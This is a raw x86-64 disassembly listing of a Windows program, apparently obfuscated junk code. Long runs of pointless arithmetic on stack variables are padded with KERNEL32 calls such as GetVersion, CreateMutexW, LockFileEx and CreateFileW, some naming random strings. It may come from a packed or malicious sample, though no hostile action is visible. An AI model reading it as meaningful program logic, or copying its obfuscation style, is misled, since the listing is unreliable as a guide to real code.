mov ecx, dword [rsp + 0x9fdc]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x14036a088]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8044]
mov ecx, dword [rsp + 0x7df0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa048], eax
lea rax, [rsp + 0x6a74]
mov qword [rsp + 0x15398], rax
mov rax, qword [rsp + 0x146a0]
mov ecx, dword [rsp + 0x9d80]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x151e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15270]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13528]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x37d], al
mov rcx, qword [rsp + 0x12f98]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x15090]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b88]
add eax, ecx
mov word [rsp + 0x2cb0], ax
mov rax, qword [rsp + 0x13870]
mov eax, dword [rax]
mov dword [rsp + 0xa184], eax
mov rax, qword [0x140369ff0]
mov rcx, qword [rsp + 0x14580]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9bcc], eax
mov eax, dword [rsp + 0x870c]
mov ecx, dword [rsp + 0x9fcc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b00], eax
lea rax, [rsp + 0x9d0c]
mov qword [0x14036a190], rax
movzx eax, byte [rsp + 0x2dd]
mov byte [rsp + 0x795], al
movzx eax, word [rsp + 0x2c34]
movzx ecx, word [rsp + 0x2ca0]
sub eax, ecx
mov word [rsp + 0x2a2c], ax
lea rax, [rsp + 0x766]
mov qword [rsp + 0x153a0], rax
mov rax, qword [0x140369cf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x268c]
and eax, ecx
mov rcx, qword [rsp + 0x12e98]
mov word [rcx], ax
mov rax, qword [rsp + 0x13b18]
mov ecx, dword [rsp + 0x9b50]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14580]
mov dword [rcx], eax
lea rax, [rsp + 0x9e50]
mov qword [rsp + 0x153a8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa000], eax
mov rax, qword [rsp + 0x14380]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14ab8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x75f], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9afc], eax
mov rax, qword [rsp + 0x15060]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x260c]
sar eax, cl
mov word [rsp + 0x1a44], ax
lea rax, [rsp + 0x9e54]
mov qword [0x14036a198], rax
mov rax, qword [rsp + 0x152b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140369de0]
shl eax, cl
mov dword [rsp + 0x9acc], eax
mov rax, qword [rsp + 0x13838]
mov ecx, dword [rsp + 0xa0d4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x144a8]
mov dword [rcx], eax
lea rax, [rsp + 0x9f50]
mov qword [rsp + 0x153b0], rax
mov rax, qword [rsp + 0x12f70]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14c00]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14a98]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x153b8], rax
lea rax, [rsp + 0x20d8]
mov qword [rsp + 0x153c0], rax
lea rdx, [rsp + 0x42b50]
mov rcx, qword [rsp + 0x141f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x9d9c], eax
mov eax, dword [0x140369f28]
mov ecx, dword [rsp + 0xa058]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c20], eax
lea rax, [rsp + 0x99e8]
mov qword [rsp + 0x153c8], rax
mov rax, qword [rsp + 0x13b48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b48]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12de0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x138d8]
mov ecx, dword [rsp + 0x59f4]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140362504], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa188], eax
mov rax, qword [rsp + 0x135d0]
mov rcx, qword [rsp + 0x13ac0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x9d50], eax
lea rax, [rsp + 0x761]
mov qword [rsp + 0x153d0], rax
mov rax, qword [rsp + 0x15048]
movsx eax, word [rax]
movsx ecx, word [0x140369fd8]
sub eax, ecx
mov rcx, qword [rsp + 0x14030]
mov word [rcx], ax
movzx eax, word [rsp + 0x1ab8]
mov word [rsp + 0x2d5c], ax
mov rax, qword [rsp + 0x14ab0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x337]
or eax, ecx
mov rcx, qword [rsp + 0x13d10]
mov byte [rcx], al
mov rax, qword [rsp + 0x142b8]
mov ecx, dword [rsp + 0x9bcc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9a94], eax
mov eax, dword [rsp + 0x9ea0]
mov ecx, dword [rsp + 0x9dd0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7818], eax
mov rcx, qword [rsp + 0x12df8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x739]
mov rcx, qword [0x140369e10]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x729], al
movzx eax, word [rsp + 0x2b8c]
mov word [0x14036a1a0], ax
lea rax, [rsp + 0x9f20]
mov qword [rsp + 0x153d8], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
mov eax, dword [rsp + 0x9518]
mov rcx, qword [rsp + 0x13b38]
mov qword [rsp + 0x153e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x153e0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x140b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa01c]
mov rcx, qword [0x140369dc8]
mov qword [rsp + 0x153e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x153e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9bb0], eax
mov rax, qword [rsp + 0x13850]
mov eax, dword [rax]
mov dword [rsp + 0xa18c], eax
movzx eax, byte [rsp + 0x716]
movzx ecx, byte [rsp + 0x147]
xor eax, ecx
mov byte [rsp + 0x1f1], al
lea rax, [0x140369b74]
mov qword [rsp + 0x153f0], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9b14], eax
mov rax, qword [rsp + 0x13690]
mov rcx, qword [rsp + 0x13540]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x12ec0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14238]
mov ecx, dword [rsp + 0x66b0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6050], eax
mov rax, qword [rsp + 0x13740]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14c08]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x140369cf8]
mov word [rcx], ax
mov rax, qword [rsp + 0x139f8]
movzx eax, byte [rax]
mov byte [rsp + 0x796], al
mov rax, qword [rsp + 0x14730]
movzx eax, word [rax]
mov rcx, qword [0x14036a0c0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14908]
mov word [rcx], ax
lea rdx, [rsp + 0x43020]
mov rcx, qword [rsp + 0x13c58]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa190], eax
lea rax, [rsp + 0x708]
mov qword [rsp + 0x153f8], rax
mov eax, dword [rsp + 0x777c]
mov ecx, dword [rsp + 0x8dcc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x152a0]
mov dword [rcx], eax
lea rax, [rsp + 0x8e2c]
mov qword [rsp + 0x15400], rax
mov rcx, qword [rsp + 0x13240]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x13b00]
mov rcx, qword [rsp + 0x13048]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x153a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14300]
mov ecx, dword [rsp + 0x702c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14cc0]
mov dword [rcx], eax
lea rax, [rsp + 0x6218]
mov qword [rsp + 0x15408], rax
mov rax, qword [rsp + 0x13ed0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14b88]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2d08], ax
mov rax, qword [rsp + 0x13a90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14b20]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x140369e90]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9f24], eax
lea rax, [rsp + 0x67d8]
mov qword [rsp + 0x15410], rax
mov rax, qword [rsp + 0x14fb0]
mov ecx, dword [rsp + 0x9c88]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9dac], eax
mov rax, qword [rsp + 0x13ca8]
mov ecx, dword [rsp + 0x9ea0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7ccc], eax
lea rax, [0x140369e60]
mov qword [rsp + 0x15418], rax
mov rax, qword [rsp + 0x153f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bac]
cdq
idiv ecx
mov rcx, qword [rsp + 0x13c80]
mov word [rcx], ax
mov rax, qword [rsp + 0x14d48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x763]
sar eax, cl
mov byte [rsp + 0x3e2], al
movsx eax, byte [rsp + 0x399]
movsx ecx, byte [rsp + 0x736]
shl eax, cl
mov byte [rsp + 0x319], al
movsx eax, word [rsp + 0x2008]
mov rcx, qword [rsp + 0x13630]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x130f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x134a0]
mov ecx, dword [rsp + 0x8cb0]
mov eax, dword [rax]
add eax, ecx
mov dword [0x140362510], eax
mov eax, dword [rsp + 0x7dcc]
mov dword [rsp + 0xa194], eax
mov rax, qword [rsp + 0x153c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bd4]
or eax, ecx
mov word [rsp + 0x2c38], ax
mov rax, qword [rsp + 0x15228]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x146c0]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x56f], al
mov eax, dword [rsp + 0x9ac8]
mov ecx, dword [rsp + 0x9b38]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14ec0]
mov dword [rcx], eax
lea rax, [rsp + 0x6270]
mov qword [rsp + 0x15420], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0x14118]
mov eax, dword [rax]
mov ecx, dword [0x14036246c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x144a0]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x15428], rax
mov eax, dword [rsp + 0x9b3c]
mov ecx, dword [rsp + 0x807c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13cc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13c40]
movzx eax, byte [rax]
mov byte [rsp + 0x797], al
mov rax, qword [0x140369b88]
movzx eax, word [rax]
mov word [0x14036a1a4], ax
mov eax, dword [rsp + 0x9f1c]
mov ecx, dword [rsp + 0x7dd0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e68], eax
mov rax, qword [rsp + 0x12ea8]
mov eax, dword [rax]
mov dword [rsp + 0xa198], eax
mov eax, dword [0x140369be8]
mov ecx, dword [rsp + 0x9b00]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x131f0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9f9c], eax
mov rcx, qword [rsp + 0x133a8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x139b8]
mov rcx, qword [rsp + 0x13750]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa0ec], eax
mov rax, qword [rsp + 0x14038]
mov rcx, qword [rsp + 0x13b40]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x85d0], eax
movsx eax, byte [rsp + 0x519]
movsx ecx, byte [rsp + 0x77d]
or eax, ecx
mov rcx, qword [rsp + 0x14ba8]
mov byte [rcx], al
lea rax, [rsp + 0x2cd0]
mov qword [rsp + 0x15430], rax
mov rax, qword [rsp + 0x15298]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14218]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14b48]
mov word [rcx], ax
movzx eax, byte [rsp + 0x74c]
cdq
mov ecx, 0x81
idiv ecx
mov byte [0x140363f5e], al
mov rax, qword [rsp + 0x13f50]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9f60]
shl eax, cl
mov rcx, qword [rsp + 0x143b0]
mov dword [rcx], eax
mov eax, dword [0x14036250c]
mov dword [rsp + 0xa19c], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2518
mov r9d, 0x32e5
mov r8d, 0x56ac7913
mov edx, 2
mov rcx, qword [rsp + 0x13e30]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9a04], eax
movzx eax, word [rsp + 0x2d5c]
movzx ecx, word [rsp + 0x1b98]
xor eax, ecx
mov word [rsp + 0x2bb4], ax
lea rax, [rsp + 0x3d2]
mov qword [rsp + 0x15438], rax
mov rax, qword [rsp + 0x149c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7ca4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa064], eax
mov eax, dword [rsp + 0xa070]
mov ecx, dword [rsp + 0xa034]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x150e8]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.HLtlh47MOfjDEQBXYgu_b1g_flVdz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15440], rax
mov rcx, qword [rsp + 0x13ff0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x13720]
mov rcx, qword [rsp + 0x14f90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x545c], eax
mov eax, dword [rsp + 0x69b4]
mov ecx, dword [rsp + 0xa0f0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14370]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14278]
movzx eax, word [rax]
mov word [0x14036a1a8], ax
lea rax, [rsp + 0x3a7]
mov qword [rsp + 0x15448], rax
mov eax, dword [0x140362510]
mov ecx, dword [rsp + 0x9a00]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa17c], eax
lea rax, [rsp + 0x602c]
mov qword [rsp + 0x15450], rax
movsx eax, word [rsp + 0x2cd0]
movsx ecx, word [rsp + 0x18c4]
and eax, ecx
mov word [rsp + 0x12cc], ax
mov rax, qword [0x140369bf0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13bf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x76e], al
lea rax, [rsp + 0x2c3c]
mov qword [rsp + 0x15458], rax
mov rax, qword [rsp + 0x12dd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x131d8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x12f70]
mov byte [rcx], al
mov rax, qword [0x140369c00]
mov eax, dword [rax]
mov dword [rsp + 0xa1a0], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9ab8], eax
mov rax, qword [rsp + 0x134c0]
mov ecx, dword [rsp + 0x9acc]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140362478], eax
mov rax, qword [rsp + 0x14998]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7818]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9eb0], eax
mov rax, qword [rsp + 0x152a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f58]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15410]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15200]
mov rcx, qword [rsp + 0x14240]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8168], eax
movzx eax, byte [rsp + 0x767]
mov rcx, qword [rsp + 0x15270]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x76a], al
mov rcx, qword [rsp + 0x12f50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa1a4], eax
movzx eax, word [rsp + 0x2bd0]
mov word [rsp + 0x2d60], ax
mov edx, 0x26e7
mov rcx, qword [rsp + 0x13b60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x9b74], eax
mov dword [rsp + 0x20], 0x1b57
mov r9d, 0x27b6
mov r8d, 0x254c
mov edx, 0x5cf
mov rcx, qword [rsp + 0x14f28]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x9cb0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3cbc
mov r9d, 0x3e89
mov r8d, 0x985970da
mov edx, 2
mov rcx, qword [rsp + 0x14630]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x9fd0], eax
mov eax, dword [rsp + 0x8fa4]
mov rcx, qword [rsp + 0x13a30]
mov qword [rsp + 0x15460], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15460]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x14cc0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa08c]
mov ecx, dword [rsp + 0x9cdc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x153d8]
mov dword [rcx], eax
lea rdx, [rsp + 0x431a8]
mov rcx, qword [rsp + 0x13d30]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa088], eax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeInfo]
mov rax, qword [rsp + 0x14c18]
mov eax, dword [rax]
mov dword [rsp + 0xa1a8], eax
mov rax, qword [rsp + 0x14110]
mov rcx, qword [rsp + 0x13ca8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [0x140362514], eax
movzx eax, byte [0x140363f1f]
mov rcx, qword [rsp + 0x13a38]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x764], al
lea rax, [rsp + 0x2cbc]
mov qword [rsp + 0x15468], rax
lea rcx, [rsp + 0x4c9f0]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x9fc8], eax
movsx eax, word [rsp + 0x2cb4]
mov rcx, qword [rsp + 0x13fc8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2c70], ax
mov rax, qword [0x14036a010]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x142e0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x761], al
mov rax, qword [rsp + 0x15418]
mov rcx, qword [rsp + 0x13978]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x72a4], eax
mov eax, dword [0x140369de0]
mov ecx, dword [rsp + 0x9a2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6278], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9da8], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x15470], rax
mov rax, qword [rsp + 0x14f50]
movzx eax, word [rax]
mov word [rsp + 0x2d64], ax
movzx eax, byte [rsp + 0x708]
movzx ecx, byte [rsp + 0x2ce]
and eax, ecx
mov byte [rsp + 0x745], al
mov rax, qword [rsp + 0x13b48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5b48]
add ecx, eax
mov eax, ecx
mov dword [0x14036250c], eax
lea rax, [rsp + 0x7a3c]
mov qword [rsp + 0x15478], rax
mov eax, dword [rsp + 0x9c90]
mov ecx, dword [rsp + 0x9678]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14668]
mov dword [rcx], eax
mov rax, qword [0x140369f30]
mov ecx, dword [rsp + 0x9f54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x73a0], eax
lea rax, [rsp + 0x2ccc]
mov qword [rsp + 0x15480], rax
mov rax, qword [rsp + 0x12e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x69c]
shl eax, cl
mov rcx, qword [rsp + 0x13038]
mov byte [rcx], al
lea rax, [rsp + 0x9968]
mov qword [rsp + 0x15488], rax
mov rax, qword [rsp + 0x13c78]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15150]
mov qword [rsp + 0x15490], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15490]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13488]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ab0]
mov rcx, qword [rsp + 0x13d90]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa17c], eax
mov rax, qword [rsp + 0x146b0]
mov eax, dword [rax]
mov dword [0x14036a1ac], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessPriorityBoost]
lea rax, [rsp + 0x9ef0]
mov qword [rsp + 0x15498], rax
mov rax, qword [rsp + 0x14ea0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x491]
or eax, ecx
mov rcx, qword [rsp + 0x14cc8]
mov byte [rcx], al
lea rax, [0x140362454]
mov qword [rsp + 0x154a0], rax
movzx eax, word [rsp + 0x10d4]
mov rcx, qword [rsp + 0x142d8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x143a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13170]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x13c]
and eax, ecx
mov byte [rsp + 0x6c0], al
lea rax, [rsp + 0x9c54]
mov qword [rsp + 0x154a8], rax
mov rax, qword [rsp + 0x14028]
mov rcx, qword [rsp + 0x14430]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e88], eax
lea rax, [rsp + 0x2dd]
mov qword [rsp + 0x154b0], rax
movzx eax, word [rsp + 0x2d30]
movzx ecx, word [rsp + 0x2d24]
sub eax, ecx
mov rcx, qword [0x14036a0c0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14440]
mov rcx, qword [rsp + 0x14b60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x12f48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13b70]
mov ecx, dword [rsp + 0x9e08]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x52dc], eax
mov eax, dword [rsp + 0x52dc]
mov ecx, dword [rsp + 0xa0e0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14918]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14740]
mov rcx, qword [rsp + 0x13790]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15010]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x3da]
mov byte [rsp + 0x798], al
mov rax, qword [rsp + 0x144c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1168]
add eax, ecx
mov rcx, qword [rsp + 0x14ac8]
mov word [rcx], ax
mov eax, dword [rsp + 0xa178]
mov dword [rsp + 0xa1ac], eax
mov rax, qword [rsp + 0x13cd0]
mov ecx, dword [rsp + 0x8ff8]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x132e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14e80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ed0]
sub eax, ecx
mov rcx, qword [0x140369f18]
mov word [rcx], ax
mov rax, qword [rsp + 0x14ba8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x145f8]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x131b0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1f1]
mov rcx, qword [rsp + 0x13f90]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x3d4], al
mov rax, qword [rsp + 0x12d80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140f8]
movzx ecx, word [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x14bb8]
mov word [rcx], ax
mov eax, dword [rsp + 0x93fc]
mov dword [rsp + 0xa1b0], eax
mov rax, qword [rsp + 0x13920]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14290]
mov qword [rsp + 0x154b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x154b8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x9bd0], eax
mov rax, qword [rsp + 0x15098]
mov ecx, dword [rsp + 0xa13c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x77cc], eax
lea rax, [rsp + 0x7df0]
mov qword [rsp + 0x154c0], rax
mov rcx, qword [rsp + 0x12ee0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x58d4]
mov ecx, dword [rsp + 0x9cc4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x12df0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14ee8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2324]
add eax, ecx
mov word [rsp + 0x2a0c], ax
mov rax, qword [0x140369ec0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x148e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1403525cf], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x9a4c], eax
mov rax, qword [rsp + 0x145b0]
mov ecx, dword [rsp + 0x5fe8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e3c], eax
mov rax, qword [rsp + 0x15380]
mov rcx, qword [rsp + 0x14f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x132a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13ad8]
mov eax, dword [rax]
mov dword [rsp + 0xa1b4], eax
mov rax, qword [rsp + 0x13a48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7dd0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ee0]
mov dword [rcx], eax
lea rax, [rsp + 0x229]
mov qword [rsp + 0x154c8], rax
mov rax, qword [0x140369f48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x151b8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x13dd0]
mov word [rcx], ax
movzx eax, word [rsp + 0x11b0]
mov word [rsp + 0x2d68], ax
mov rax, qword [rsp + 0x13bd8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14a10]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14418]
mov byte [rcx], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.MNUypWyktkcceK7cjGxK9rV7FmUeTYWAA4qrX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x154d0], rax
mov eax, dword [rsp + 0x9df0]
mov ecx, dword [rsp + 0x9960]
sub ecx, eax
mov eax, ecx
mov dword [0x14036a118], eax
mov rax, qword [rsp + 0x15340]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x144e0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x777]
mov rcx, qword [rsp + 0x14288]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa7], al
mov rax, qword [rsp + 0x13be0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13848]
movzx ecx, word [rcx]
sar eax, cl
